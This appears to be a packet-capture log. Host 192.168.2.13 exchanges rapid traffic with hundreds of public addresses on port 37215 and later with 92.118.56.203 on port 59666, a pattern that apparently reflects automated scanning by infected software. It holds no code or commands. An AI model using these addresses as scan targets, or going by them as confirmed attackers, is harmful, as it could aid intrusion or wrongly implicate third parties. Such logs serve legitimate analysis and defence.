Jan 5, 2025 14:26:50.640902042 CET	37215	56446	156.181.16.123	192.168.2.13
Jan 5, 2025 14:26:50.640909910 CET	56446	37215	192.168.2.13	41.176.227.42
Jan 5, 2025 14:26:50.640913010 CET	56446	37215	192.168.2.13	156.1.63.222
Jan 5, 2025 14:26:50.640914917 CET	37215	56446	156.108.3.233	192.168.2.13
Jan 5, 2025 14:26:50.640923023 CET	56446	37215	192.168.2.13	197.226.142.225
Jan 5, 2025 14:26:50.640925884 CET	37215	56446	41.218.209.199	192.168.2.13
Jan 5, 2025 14:26:50.640938044 CET	37215	56446	197.48.48.108	192.168.2.13
Jan 5, 2025 14:26:50.640938044 CET	56446	37215	192.168.2.13	156.108.3.233
Jan 5, 2025 14:26:50.640948057 CET	56446	37215	192.168.2.13	156.181.16.123
Jan 5, 2025 14:26:50.640955925 CET	56446	37215	192.168.2.13	41.218.209.199
Jan 5, 2025 14:26:50.640958071 CET	56446	37215	192.168.2.13	197.48.48.108
Jan 5, 2025 14:26:50.640996933 CET	37215	56446	41.138.224.31	192.168.2.13
Jan 5, 2025 14:26:50.641007900 CET	37215	56446	41.19.174.70	192.168.2.13
Jan 5, 2025 14:26:50.641019106 CET	37215	56446	156.223.235.21	192.168.2.13
Jan 5, 2025 14:26:50.641026020 CET	56446	37215	192.168.2.13	41.138.224.31
Jan 5, 2025 14:26:50.641031027 CET	37215	56446	41.25.22.71	192.168.2.13
Jan 5, 2025 14:26:50.641041994 CET	37215	56446	197.1.179.41	192.168.2.13
Jan 5, 2025 14:26:50.641043901 CET	56446	37215	192.168.2.13	156.223.235.21
Jan 5, 2025 14:26:50.641043901 CET	56446	37215	192.168.2.13	41.19.174.70
Jan 5, 2025 14:26:50.641053915 CET	37215	56446	41.183.99.228	192.168.2.13
Jan 5, 2025 14:26:50.641062021 CET	56446	37215	192.168.2.13	41.25.22.71
Jan 5, 2025 14:26:50.641064882 CET	37215	56446	41.134.119.132	192.168.2.13
Jan 5, 2025 14:26:50.641067982 CET	56446	37215	192.168.2.13	197.1.179.41
Jan 5, 2025 14:26:50.641077042 CET	37215	56446	156.212.156.110	192.168.2.13
Jan 5, 2025 14:26:50.641081095 CET	56446	37215	192.168.2.13	41.183.99.228
Jan 5, 2025 14:26:50.641088963 CET	37215	56446	41.7.96.210	192.168.2.13
Jan 5, 2025 14:26:50.641093969 CET	56446	37215	192.168.2.13	41.134.119.132
Jan 5, 2025 14:26:50.641099930 CET	56446	37215	192.168.2.13	156.212.156.110
Jan 5, 2025 14:26:50.641102076 CET	37215	56446	156.166.90.59	192.168.2.13
Jan 5, 2025 14:26:50.641112089 CET	37215	56446	156.201.69.253	192.168.2.13
Jan 5, 2025 14:26:50.641119003 CET	56446	37215	192.168.2.13	41.7.96.210
Jan 5, 2025 14:26:50.641124010 CET	37215	56446	197.61.235.201	192.168.2.13
Jan 5, 2025 14:26:50.641132116 CET	56446	37215	192.168.2.13	156.166.90.59
Jan 5, 2025 14:26:50.641136885 CET	37215	56446	41.236.54.101	192.168.2.13
Jan 5, 2025 14:26:50.641144991 CET	56446	37215	192.168.2.13	156.201.69.253
Jan 5, 2025 14:26:50.641149044 CET	37215	56446	197.174.86.96	192.168.2.13
Jan 5, 2025 14:26:50.641154051 CET	56446	37215	192.168.2.13	197.61.235.201
Jan 5, 2025 14:26:50.641160011 CET	37215	56446	156.73.251.203	192.168.2.13
Jan 5, 2025 14:26:50.641163111 CET	56446	37215	192.168.2.13	41.236.54.101
Jan 5, 2025 14:26:50.641170979 CET	37215	56446	156.249.53.108	192.168.2.13
Jan 5, 2025 14:26:50.641172886 CET	56446	37215	192.168.2.13	197.174.86.96
Jan 5, 2025 14:26:50.641182899 CET	37215	56446	41.176.40.97	192.168.2.13
Jan 5, 2025 14:26:50.641189098 CET	56446	37215	192.168.2.13	156.73.251.203
Jan 5, 2025 14:26:50.641195059 CET	37215	56446	41.43.196.237	192.168.2.13
Jan 5, 2025 14:26:50.641204119 CET	56446	37215	192.168.2.13	156.249.53.108
Jan 5, 2025 14:26:50.641204119 CET	56446	37215	192.168.2.13	41.176.40.97
Jan 5, 2025 14:26:50.641206026 CET	37215	56446	197.141.45.12	192.168.2.13
Jan 5, 2025 14:26:50.641217947 CET	37215	56446	41.169.175.18	192.168.2.13
Jan 5, 2025 14:26:50.641221046 CET	56446	37215	192.168.2.13	41.43.196.237
Jan 5, 2025 14:26:50.641227961 CET	37215	56446	156.140.195.102	192.168.2.13
Jan 5, 2025 14:26:50.641237020 CET	56446	37215	192.168.2.13	197.141.45.12
Jan 5, 2025 14:26:50.641243935 CET	56446	37215	192.168.2.13	41.169.175.18
Jan 5, 2025 14:26:50.641252995 CET	56446	37215	192.168.2.13	156.140.195.102
Jan 5, 2025 14:26:50.641439915 CET	37215	56446	197.175.242.95	192.168.2.13
Jan 5, 2025 14:26:50.641450882 CET	37215	56446	41.250.154.49	192.168.2.13
Jan 5, 2025 14:26:50.641462088 CET	37215	56446	41.93.186.18	192.168.2.13
Jan 5, 2025 14:26:50.641470909 CET	56446	37215	192.168.2.13	197.175.242.95
Jan 5, 2025 14:26:50.641472101 CET	37215	56446	197.146.231.140	192.168.2.13
Jan 5, 2025 14:26:50.641474962 CET	56446	37215	192.168.2.13	41.250.154.49
Jan 5, 2025 14:26:50.641484022 CET	37215	56446	41.205.158.77	192.168.2.13
Jan 5, 2025 14:26:50.641490936 CET	56446	37215	192.168.2.13	41.93.186.18
Jan 5, 2025 14:26:50.641496897 CET	37215	56446	41.5.5.129	192.168.2.13
Jan 5, 2025 14:26:50.641498089 CET	56446	37215	192.168.2.13	197.146.231.140
Jan 5, 2025 14:26:50.641508102 CET	37215	56446	197.69.44.25	192.168.2.13
Jan 5, 2025 14:26:50.641513109 CET	56446	37215	192.168.2.13	41.205.158.77
Jan 5, 2025 14:26:50.641519070 CET	37215	56446	41.158.135.14	192.168.2.13
Jan 5, 2025 14:26:50.641520023 CET	56446	37215	192.168.2.13	41.5.5.129
Jan 5, 2025 14:26:50.641532898 CET	37215	56446	197.168.4.191	192.168.2.13
Jan 5, 2025 14:26:50.641535044 CET	56446	37215	192.168.2.13	197.69.44.25
Jan 5, 2025 14:26:50.641544104 CET	37215	56446	197.36.67.234	192.168.2.13
Jan 5, 2025 14:26:50.641546011 CET	56446	37215	192.168.2.13	41.158.135.14
Jan 5, 2025 14:26:50.641555071 CET	37215	56446	41.31.224.226	192.168.2.13
Jan 5, 2025 14:26:50.641560078 CET	56446	37215	192.168.2.13	197.168.4.191
Jan 5, 2025 14:26:50.641566038 CET	37215	56446	197.204.44.226	192.168.2.13
Jan 5, 2025 14:26:50.641577959 CET	37215	56446	197.241.203.241	192.168.2.13
Jan 5, 2025 14:26:50.641577959 CET	56446	37215	192.168.2.13	197.36.67.234
Jan 5, 2025 14:26:50.641583920 CET	56446	37215	192.168.2.13	41.31.224.226
Jan 5, 2025 14:26:50.641587973 CET	37215	56446	156.140.66.134	192.168.2.13
Jan 5, 2025 14:26:50.641591072 CET	56446	37215	192.168.2.13	197.204.44.226
Jan 5, 2025 14:26:50.641598940 CET	56446	37215	192.168.2.13	197.241.203.241
Jan 5, 2025 14:26:50.641599894 CET	37215	56446	156.162.205.49	192.168.2.13
Jan 5, 2025 14:26:50.641613007 CET	37215	56446	41.35.31.232	192.168.2.13
Jan 5, 2025 14:26:50.641618013 CET	56446	37215	192.168.2.13	156.140.66.134
Jan 5, 2025 14:26:50.641623020 CET	37215	56446	197.21.202.112	192.168.2.13
Jan 5, 2025 14:26:50.641629934 CET	56446	37215	192.168.2.13	156.162.205.49
Jan 5, 2025 14:26:50.641637087 CET	37215	56446	156.150.74.166	192.168.2.13
Jan 5, 2025 14:26:50.641644001 CET	56446	37215	192.168.2.13	41.35.31.232
Jan 5, 2025 14:26:50.641648054 CET	37215	56446	41.68.54.16	192.168.2.13
Jan 5, 2025 14:26:50.641659975 CET	37215	56446	41.88.36.11	192.168.2.13
Jan 5, 2025 14:26:50.641664028 CET	56446	37215	192.168.2.13	156.150.74.166
Jan 5, 2025 14:26:50.641666889 CET	56446	37215	192.168.2.13	197.21.202.112
Jan 5, 2025 14:26:50.641670942 CET	37215	56446	156.166.81.210	192.168.2.13
Jan 5, 2025 14:26:50.641685009 CET	37215	56446	197.110.220.187	192.168.2.13
Jan 5, 2025 14:26:50.641689062 CET	56446	37215	192.168.2.13	41.88.36.11
Jan 5, 2025 14:26:50.641690969 CET	56446	37215	192.168.2.13	41.68.54.16
Jan 5, 2025 14:26:50.641697884 CET	37215	56446	41.123.72.62	192.168.2.13
Jan 5, 2025 14:26:50.641709089 CET	37215	56446	41.82.124.70	192.168.2.13
Jan 5, 2025 14:26:50.641714096 CET	56446	37215	192.168.2.13	156.166.81.210
Jan 5, 2025 14:26:50.641714096 CET	56446	37215	192.168.2.13	197.110.220.187
Jan 5, 2025 14:26:50.641720057 CET	37215	56446	197.146.4.123	192.168.2.13
Jan 5, 2025 14:26:50.641726971 CET	56446	37215	192.168.2.13	41.123.72.62
Jan 5, 2025 14:26:50.641731024 CET	37215	56446	197.232.38.197	192.168.2.13
Jan 5, 2025 14:26:50.641736984 CET	56446	37215	192.168.2.13	41.82.124.70
Jan 5, 2025 14:26:50.641741037 CET	37215	56446	41.18.122.226	192.168.2.13
Jan 5, 2025 14:26:50.641752005 CET	37215	56446	156.165.7.148	192.168.2.13
Jan 5, 2025 14:26:50.641758919 CET	56446	37215	192.168.2.13	197.146.4.123
Jan 5, 2025 14:26:50.641762972 CET	56446	37215	192.168.2.13	197.232.38.197
Jan 5, 2025 14:26:50.641762972 CET	56446	37215	192.168.2.13	41.18.122.226
Jan 5, 2025 14:26:50.641777992 CET	56446	37215	192.168.2.13	156.165.7.148
Jan 5, 2025 14:26:50.641963005 CET	37215	56446	41.38.30.66	192.168.2.13
Jan 5, 2025 14:26:50.641973019 CET	37215	56446	197.35.34.164	192.168.2.13
Jan 5, 2025 14:26:50.641983032 CET	37215	56446	41.28.18.185	192.168.2.13
Jan 5, 2025 14:26:50.641994953 CET	37215	56446	197.210.111.139	192.168.2.13
Jan 5, 2025 14:26:50.641998053 CET	56446	37215	192.168.2.13	41.38.30.66
Jan 5, 2025 14:26:50.641999006 CET	56446	37215	192.168.2.13	197.35.34.164
Jan 5, 2025 14:26:50.642007113 CET	37215	56446	41.14.221.98	192.168.2.13
Jan 5, 2025 14:26:50.642013073 CET	56446	37215	192.168.2.13	41.28.18.185
Jan 5, 2025 14:26:50.642018080 CET	37215	56446	197.167.127.245	192.168.2.13
Jan 5, 2025 14:26:50.642018080 CET	56446	37215	192.168.2.13	197.210.111.139
Jan 5, 2025 14:26:50.642029047 CET	37215	56446	156.160.129.119	192.168.2.13
Jan 5, 2025 14:26:50.642033100 CET	56446	37215	192.168.2.13	41.14.221.98
Jan 5, 2025 14:26:50.642040014 CET	37215	56446	197.61.65.242	192.168.2.13
Jan 5, 2025 14:26:50.642049074 CET	56446	37215	192.168.2.13	197.167.127.245
Jan 5, 2025 14:26:50.642050982 CET	37215	56446	41.133.180.74	192.168.2.13
Jan 5, 2025 14:26:50.642056942 CET	56446	37215	192.168.2.13	156.160.129.119
Jan 5, 2025 14:26:50.642062902 CET	37215	56446	41.192.230.73	192.168.2.13
Jan 5, 2025 14:26:50.642065048 CET	56446	37215	192.168.2.13	197.61.65.242
Jan 5, 2025 14:26:50.642075062 CET	37215	56446	156.165.74.148	192.168.2.13
Jan 5, 2025 14:26:50.642081022 CET	56446	37215	192.168.2.13	41.133.180.74
Jan 5, 2025 14:26:50.642083883 CET	56446	37215	192.168.2.13	41.192.230.73
Jan 5, 2025 14:26:50.642086029 CET	37215	56446	156.19.21.83	192.168.2.13
Jan 5, 2025 14:26:50.642101049 CET	56446	37215	192.168.2.13	156.165.74.148
Jan 5, 2025 14:26:50.642107964 CET	37215	56446	156.208.43.123	192.168.2.13
Jan 5, 2025 14:26:50.642107964 CET	56446	37215	192.168.2.13	156.19.21.83
Jan 5, 2025 14:26:50.642119884 CET	37215	56446	156.88.25.228	192.168.2.13
Jan 5, 2025 14:26:50.642129898 CET	37215	56446	41.11.16.189	192.168.2.13
Jan 5, 2025 14:26:50.642138958 CET	56446	37215	192.168.2.13	156.208.43.123
Jan 5, 2025 14:26:50.642139912 CET	37215	56446	197.122.234.6	192.168.2.13
Jan 5, 2025 14:26:50.642143011 CET	56446	37215	192.168.2.13	156.88.25.228
Jan 5, 2025 14:26:50.642152071 CET	37215	56446	197.203.52.84	192.168.2.13
Jan 5, 2025 14:26:50.642153025 CET	56446	37215	192.168.2.13	41.11.16.189
Jan 5, 2025 14:26:50.642163038 CET	37215	56446	197.176.126.6	192.168.2.13
Jan 5, 2025 14:26:50.642165899 CET	56446	37215	192.168.2.13	197.122.234.6
Jan 5, 2025 14:26:50.642174006 CET	37215	56446	41.214.205.13	192.168.2.13
Jan 5, 2025 14:26:50.642183065 CET	56446	37215	192.168.2.13	197.203.52.84
Jan 5, 2025 14:26:50.642183065 CET	56446	37215	192.168.2.13	197.176.126.6
Jan 5, 2025 14:26:50.642184973 CET	37215	56446	41.83.93.9	192.168.2.13
Jan 5, 2025 14:26:50.642195940 CET	37215	56446	197.96.13.10	192.168.2.13
Jan 5, 2025 14:26:50.642201900 CET	56446	37215	192.168.2.13	41.214.205.13
Jan 5, 2025 14:26:50.642208099 CET	37215	56446	41.175.140.158	192.168.2.13
Jan 5, 2025 14:26:50.642218113 CET	56446	37215	192.168.2.13	41.83.93.9
Jan 5, 2025 14:26:50.642219067 CET	37215	56446	197.41.179.209	192.168.2.13
Jan 5, 2025 14:26:50.642220974 CET	56446	37215	192.168.2.13	197.96.13.10
Jan 5, 2025 14:26:50.642230988 CET	37215	56446	197.45.174.67	192.168.2.13
Jan 5, 2025 14:26:50.642232895 CET	56446	37215	192.168.2.13	41.175.140.158
Jan 5, 2025 14:26:50.642241955 CET	37215	56446	156.147.35.20	192.168.2.13
Jan 5, 2025 14:26:50.642246962 CET	56446	37215	192.168.2.13	197.41.179.209
Jan 5, 2025 14:26:50.642255068 CET	37215	56446	156.235.50.183	192.168.2.13
Jan 5, 2025 14:26:50.642263889 CET	56446	37215	192.168.2.13	197.45.174.67
Jan 5, 2025 14:26:50.642266035 CET	37215	56446	156.205.212.193	192.168.2.13
Jan 5, 2025 14:26:50.642275095 CET	56446	37215	192.168.2.13	156.147.35.20
Jan 5, 2025 14:26:50.642275095 CET	56446	37215	192.168.2.13	156.235.50.183
Jan 5, 2025 14:26:50.642277002 CET	37215	56446	156.249.102.220	192.168.2.13
Jan 5, 2025 14:26:50.642302036 CET	56446	37215	192.168.2.13	156.205.212.193
Jan 5, 2025 14:26:50.642306089 CET	56446	37215	192.168.2.13	156.249.102.220
Jan 5, 2025 14:26:50.642524004 CET	37215	56446	41.22.92.153	192.168.2.13
Jan 5, 2025 14:26:50.642534971 CET	37215	56446	156.9.132.162	192.168.2.13
Jan 5, 2025 14:26:50.642544985 CET	37215	56446	41.42.252.95	192.168.2.13
Jan 5, 2025 14:26:50.642555952 CET	37215	56446	156.61.116.114	192.168.2.13
Jan 5, 2025 14:26:50.642560005 CET	56446	37215	192.168.2.13	41.22.92.153
Jan 5, 2025 14:26:50.642565012 CET	56446	37215	192.168.2.13	156.9.132.162
Jan 5, 2025 14:26:50.642565966 CET	37215	56446	156.194.236.219	192.168.2.13
Jan 5, 2025 14:26:50.642570972 CET	56446	37215	192.168.2.13	41.42.252.95
Jan 5, 2025 14:26:50.642577887 CET	37215	56446	41.86.105.60	192.168.2.13
Jan 5, 2025 14:26:50.642584085 CET	56446	37215	192.168.2.13	156.61.116.114
Jan 5, 2025 14:26:50.642589092 CET	37215	56446	41.22.114.87	192.168.2.13
Jan 5, 2025 14:26:50.642590046 CET	56446	37215	192.168.2.13	156.194.236.219
Jan 5, 2025 14:26:50.642597914 CET	56446	37215	192.168.2.13	41.86.105.60
Jan 5, 2025 14:26:50.642600060 CET	37215	56446	41.231.93.179	192.168.2.13
Jan 5, 2025 14:26:50.642611980 CET	37215	56446	197.157.58.62	192.168.2.13
Jan 5, 2025 14:26:50.642618895 CET	56446	37215	192.168.2.13	41.22.114.87
Jan 5, 2025 14:26:50.642621994 CET	37215	56446	41.17.90.48	192.168.2.13
Jan 5, 2025 14:26:50.642627954 CET	56446	37215	192.168.2.13	41.231.93.179
Jan 5, 2025 14:26:50.642627954 CET	56446	37215	192.168.2.13	197.157.58.62
Jan 5, 2025 14:26:50.642633915 CET	37215	56446	197.196.98.75	192.168.2.13
Jan 5, 2025 14:26:50.642651081 CET	56446	37215	192.168.2.13	41.17.90.48
Jan 5, 2025 14:26:50.642652988 CET	37215	56446	156.126.112.250	192.168.2.13
Jan 5, 2025 14:26:50.642657995 CET	56446	37215	192.168.2.13	197.196.98.75
Jan 5, 2025 14:26:50.642664909 CET	37215	56446	41.111.253.195	192.168.2.13
Jan 5, 2025 14:26:50.642676115 CET	37215	56446	41.119.187.148	192.168.2.13
Jan 5, 2025 14:26:50.642685890 CET	37215	56446	41.161.173.16	192.168.2.13
Jan 5, 2025 14:26:50.642689943 CET	56446	37215	192.168.2.13	156.126.112.250
Jan 5, 2025 14:26:50.642690897 CET	56446	37215	192.168.2.13	41.111.253.195
Jan 5, 2025 14:26:50.642707109 CET	37215	56446	156.102.125.217	192.168.2.13
Jan 5, 2025 14:26:50.642709017 CET	56446	37215	192.168.2.13	41.119.187.148
Jan 5, 2025 14:26:50.642719030 CET	37215	56446	197.23.60.187	192.168.2.13
Jan 5, 2025 14:26:50.642729044 CET	56446	37215	192.168.2.13	41.161.173.16
Jan 5, 2025 14:26:50.642729998 CET	37215	56446	41.101.84.64	192.168.2.13
Jan 5, 2025 14:26:50.642730951 CET	56446	37215	192.168.2.13	156.102.125.217
Jan 5, 2025 14:26:50.642743111 CET	37215	56446	156.251.103.73	192.168.2.13
Jan 5, 2025 14:26:50.642750025 CET	56446	37215	192.168.2.13	197.23.60.187
Jan 5, 2025 14:26:50.642750978 CET	56446	37215	192.168.2.13	41.101.84.64
Jan 5, 2025 14:26:50.642752886 CET	37215	56446	41.47.151.36	192.168.2.13
Jan 5, 2025 14:26:50.642765045 CET	37215	56446	197.229.169.80	192.168.2.13
Jan 5, 2025 14:26:50.642765999 CET	56446	37215	192.168.2.13	156.251.103.73
Jan 5, 2025 14:26:50.642775059 CET	37215	56446	156.103.97.107	192.168.2.13
Jan 5, 2025 14:26:50.642777920 CET	56446	37215	192.168.2.13	41.47.151.36
Jan 5, 2025 14:26:50.642786980 CET	37215	56446	197.86.91.103	192.168.2.13
Jan 5, 2025 14:26:50.642790079 CET	56446	37215	192.168.2.13	197.229.169.80
Jan 5, 2025 14:26:50.642797947 CET	37215	56446	156.79.21.75	192.168.2.13
Jan 5, 2025 14:26:50.642807007 CET	56446	37215	192.168.2.13	156.103.97.107
Jan 5, 2025 14:26:50.642808914 CET	37215	56446	41.242.254.13	192.168.2.13
Jan 5, 2025 14:26:50.642819881 CET	37215	56446	41.127.26.128	192.168.2.13
Jan 5, 2025 14:26:50.642826080 CET	56446	37215	192.168.2.13	197.86.91.103
Jan 5, 2025 14:26:50.642827988 CET	56446	37215	192.168.2.13	156.79.21.75
Jan 5, 2025 14:26:50.642831087 CET	56446	37215	192.168.2.13	41.242.254.13
Jan 5, 2025 14:26:50.642831087 CET	37215	56446	156.159.18.193	192.168.2.13
Jan 5, 2025 14:26:50.642843008 CET	37215	56446	41.144.148.98	192.168.2.13
Jan 5, 2025 14:26:50.642848969 CET	56446	37215	192.168.2.13	41.127.26.128
Jan 5, 2025 14:26:50.642859936 CET	56446	37215	192.168.2.13	156.159.18.193
Jan 5, 2025 14:26:50.642869949 CET	56446	37215	192.168.2.13	41.144.148.98
Jan 5, 2025 14:26:50.642997026 CET	37215	56446	156.222.218.83	192.168.2.13
Jan 5, 2025 14:26:50.643007994 CET	37215	56446	41.136.190.181	192.168.2.13
Jan 5, 2025 14:26:50.643018007 CET	37215	56446	41.246.118.159	192.168.2.13
Jan 5, 2025 14:26:50.643028021 CET	37215	56446	197.44.77.22	192.168.2.13
Jan 5, 2025 14:26:50.643032074 CET	56446	37215	192.168.2.13	41.136.190.181
Jan 5, 2025 14:26:50.643033028 CET	56446	37215	192.168.2.13	156.222.218.83
Jan 5, 2025 14:26:50.643039942 CET	37215	56446	197.81.208.10	192.168.2.13
Jan 5, 2025 14:26:50.643045902 CET	56446	37215	192.168.2.13	41.246.118.159
Jan 5, 2025 14:26:50.643049955 CET	37215	56446	197.175.185.216	192.168.2.13
Jan 5, 2025 14:26:50.643058062 CET	56446	37215	192.168.2.13	197.44.77.22
Jan 5, 2025 14:26:50.643062115 CET	37215	56446	197.197.70.72	192.168.2.13
Jan 5, 2025 14:26:50.643071890 CET	56446	37215	192.168.2.13	197.81.208.10
Jan 5, 2025 14:26:50.643073082 CET	37215	56446	41.113.184.36	192.168.2.13
Jan 5, 2025 14:26:50.643079996 CET	56446	37215	192.168.2.13	197.175.185.216
Jan 5, 2025 14:26:50.643083096 CET	37215	56446	156.204.27.238	192.168.2.13
Jan 5, 2025 14:26:50.643089056 CET	56446	37215	192.168.2.13	197.197.70.72
Jan 5, 2025 14:26:50.643095970 CET	37215	56446	197.224.53.164	192.168.2.13
Jan 5, 2025 14:26:50.643100977 CET	56446	37215	192.168.2.13	41.113.184.36
Jan 5, 2025 14:26:50.643106937 CET	37215	56446	197.79.198.73	192.168.2.13
Jan 5, 2025 14:26:50.643111944 CET	56446	37215	192.168.2.13	156.204.27.238
Jan 5, 2025 14:26:50.643125057 CET	56446	37215	192.168.2.13	197.224.53.164
Jan 5, 2025 14:26:50.643127918 CET	37215	56446	156.77.41.130	192.168.2.13
Jan 5, 2025 14:26:50.643131971 CET	56446	37215	192.168.2.13	197.79.198.73
Jan 5, 2025 14:26:50.643138885 CET	37215	56446	197.190.8.194	192.168.2.13
Jan 5, 2025 14:26:50.643148899 CET	37215	56446	41.100.173.47	192.168.2.13
Jan 5, 2025 14:26:50.643161058 CET	37215	56446	156.244.128.14	192.168.2.13
Jan 5, 2025 14:26:50.643161058 CET	56446	37215	192.168.2.13	156.77.41.130
Jan 5, 2025 14:26:50.643162966 CET	56446	37215	192.168.2.13	197.190.8.194
Jan 5, 2025 14:26:50.643172026 CET	37215	56446	156.52.187.170	192.168.2.13
Jan 5, 2025 14:26:50.643179893 CET	56446	37215	192.168.2.13	156.244.128.14
Jan 5, 2025 14:26:50.643181086 CET	56446	37215	192.168.2.13	41.100.173.47
Jan 5, 2025 14:26:50.643182039 CET	37215	56446	197.134.114.68	192.168.2.13
Jan 5, 2025 14:26:50.643193007 CET	37215	56446	156.206.143.107	192.168.2.13
Jan 5, 2025 14:26:50.643197060 CET	56446	37215	192.168.2.13	156.52.187.170
Jan 5, 2025 14:26:50.643203974 CET	37215	56446	41.61.242.133	192.168.2.13
Jan 5, 2025 14:26:50.643209934 CET	56446	37215	192.168.2.13	197.134.114.68
Jan 5, 2025 14:26:50.643214941 CET	37215	56446	41.229.206.21	192.168.2.13
Jan 5, 2025 14:26:50.643223047 CET	56446	37215	192.168.2.13	156.206.143.107
Jan 5, 2025 14:26:50.643223047 CET	56446	37215	192.168.2.13	41.61.242.133
Jan 5, 2025 14:26:50.643225908 CET	37215	56446	41.43.47.55	192.168.2.13
Jan 5, 2025 14:26:50.643237114 CET	37215	56446	197.3.177.66	192.168.2.13
Jan 5, 2025 14:26:50.643244982 CET	56446	37215	192.168.2.13	41.229.206.21
Jan 5, 2025 14:26:50.643248081 CET	37215	56446	156.17.164.22	192.168.2.13
Jan 5, 2025 14:26:50.643254995 CET	56446	37215	192.168.2.13	41.43.47.55
Jan 5, 2025 14:26:50.643254995 CET	56446	37215	192.168.2.13	197.3.177.66
Jan 5, 2025 14:26:50.643259048 CET	37215	56446	41.64.244.147	192.168.2.13
Jan 5, 2025 14:26:50.643270016 CET	37215	56446	41.164.217.209	192.168.2.13
Jan 5, 2025 14:26:50.643280983 CET	37215	56446	156.79.134.134	192.168.2.13
Jan 5, 2025 14:26:50.643281937 CET	56446	37215	192.168.2.13	156.17.164.22
Jan 5, 2025 14:26:50.643285036 CET	56446	37215	192.168.2.13	41.64.244.147
Jan 5, 2025 14:26:50.643294096 CET	56446	37215	192.168.2.13	41.164.217.209
Jan 5, 2025 14:26:50.643294096 CET	37215	56446	156.217.36.36	192.168.2.13
Jan 5, 2025 14:26:50.643306017 CET	37215	56446	156.238.89.101	192.168.2.13
Jan 5, 2025 14:26:50.643309116 CET	56446	37215	192.168.2.13	156.79.134.134
Jan 5, 2025 14:26:50.643322945 CET	56446	37215	192.168.2.13	156.217.36.36
Jan 5, 2025 14:26:50.643332005 CET	56446	37215	192.168.2.13	156.238.89.101
Jan 5, 2025 14:26:50.643510103 CET	37215	56446	156.174.150.215	192.168.2.13
Jan 5, 2025 14:26:50.643521070 CET	37215	56446	41.233.136.131	192.168.2.13
Jan 5, 2025 14:26:50.643532038 CET	37215	56446	41.241.215.90	192.168.2.13
Jan 5, 2025 14:26:50.643543959 CET	56446	37215	192.168.2.13	156.174.150.215
Jan 5, 2025 14:26:50.643548965 CET	56446	37215	192.168.2.13	41.233.136.131
Jan 5, 2025 14:26:50.643557072 CET	37215	56446	41.32.88.160	192.168.2.13
Jan 5, 2025 14:26:50.643558025 CET	56446	37215	192.168.2.13	41.241.215.90
Jan 5, 2025 14:26:50.643568993 CET	37215	56446	156.78.215.77	192.168.2.13
Jan 5, 2025 14:26:50.643579006 CET	37215	56446	197.190.149.203	192.168.2.13
Jan 5, 2025 14:26:50.643590927 CET	56446	37215	192.168.2.13	41.32.88.160
Jan 5, 2025 14:26:50.643589973 CET	37215	56446	41.46.248.105	192.168.2.13
Jan 5, 2025 14:26:50.643591881 CET	56446	37215	192.168.2.13	156.78.215.77
Jan 5, 2025 14:26:50.643600941 CET	37215	56446	41.222.150.90	192.168.2.13
Jan 5, 2025 14:26:50.643605947 CET	56446	37215	192.168.2.13	197.190.149.203
Jan 5, 2025 14:26:50.643611908 CET	56446	37215	192.168.2.13	41.46.248.105
Jan 5, 2025 14:26:50.643613100 CET	37215	56446	197.218.116.187	192.168.2.13
Jan 5, 2025 14:26:50.643642902 CET	37215	56446	156.83.53.19	192.168.2.13
Jan 5, 2025 14:26:50.643647909 CET	56446	37215	192.168.2.13	41.222.150.90
Jan 5, 2025 14:26:50.643655062 CET	37215	56446	156.21.9.6	192.168.2.13
Jan 5, 2025 14:26:50.643660069 CET	56446	37215	192.168.2.13	197.218.116.187
Jan 5, 2025 14:26:50.643676996 CET	37215	56446	197.209.31.67	192.168.2.13
Jan 5, 2025 14:26:50.643687963 CET	37215	56446	197.195.250.179	192.168.2.13
Jan 5, 2025 14:26:50.643690109 CET	56446	37215	192.168.2.13	156.21.9.6
Jan 5, 2025 14:26:50.643691063 CET	56446	37215	192.168.2.13	156.83.53.19
Jan 5, 2025 14:26:50.643698931 CET	37215	56446	156.82.136.60	192.168.2.13
Jan 5, 2025 14:26:50.643707037 CET	56446	37215	192.168.2.13	197.209.31.67
Jan 5, 2025 14:26:50.643713951 CET	56446	37215	192.168.2.13	197.195.250.179
Jan 5, 2025 14:26:50.643721104 CET	56446	37215	192.168.2.13	156.82.136.60
Jan 5, 2025 14:26:50.643711090 CET	37215	56446	197.126.84.207	192.168.2.13
Jan 5, 2025 14:26:50.643735886 CET	37215	56446	41.142.128.237	192.168.2.13
Jan 5, 2025 14:26:50.643744946 CET	37215	56446	41.233.5.176	192.168.2.13
Jan 5, 2025 14:26:50.643754959 CET	37215	56446	41.230.91.15	192.168.2.13
Jan 5, 2025 14:26:50.643759012 CET	56446	37215	192.168.2.13	197.126.84.207
Jan 5, 2025 14:26:50.643762112 CET	56446	37215	192.168.2.13	41.142.128.237
Jan 5, 2025 14:26:50.643765926 CET	37215	56446	156.51.48.219	192.168.2.13
Jan 5, 2025 14:26:50.643770933 CET	56446	37215	192.168.2.13	41.233.5.176
Jan 5, 2025 14:26:50.643775940 CET	37215	56446	41.181.52.246	192.168.2.13
Jan 5, 2025 14:26:50.643780947 CET	56446	37215	192.168.2.13	41.230.91.15
Jan 5, 2025 14:26:50.643785954 CET	37215	56446	197.192.147.138	192.168.2.13
Jan 5, 2025 14:26:50.643789053 CET	56446	37215	192.168.2.13	156.51.48.219
Jan 5, 2025 14:26:50.643795967 CET	37215	56446	41.93.91.35	192.168.2.13
Jan 5, 2025 14:26:50.643801928 CET	56446	37215	192.168.2.13	41.181.52.246
Jan 5, 2025 14:26:50.643806934 CET	37215	56446	41.18.184.120	192.168.2.13
Jan 5, 2025 14:26:50.643816948 CET	37215	56446	197.124.114.243	192.168.2.13
Jan 5, 2025 14:26:50.643826962 CET	37215	56446	197.23.124.181	192.168.2.13
Jan 5, 2025 14:26:50.643831968 CET	56446	37215	192.168.2.13	41.93.91.35
Jan 5, 2025 14:26:50.643832922 CET	56446	37215	192.168.2.13	197.192.147.138
Jan 5, 2025 14:26:50.643843889 CET	56446	37215	192.168.2.13	41.18.184.120
Jan 5, 2025 14:26:50.643845081 CET	56446	37215	192.168.2.13	197.124.114.243
Jan 5, 2025 14:26:50.643857002 CET	56446	37215	192.168.2.13	197.23.124.181
Jan 5, 2025 14:26:50.647263050 CET	59666	51156	92.118.56.203	192.168.2.13
Jan 5, 2025 14:26:50.647305965 CET	51156	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:50.647326946 CET	51156	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:50.652102947 CET	59666	51156	92.118.56.203	192.168.2.13
Jan 5, 2025 14:26:50.652152061 CET	51156	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:50.656975985 CET	59666	51156	92.118.56.203	192.168.2.13
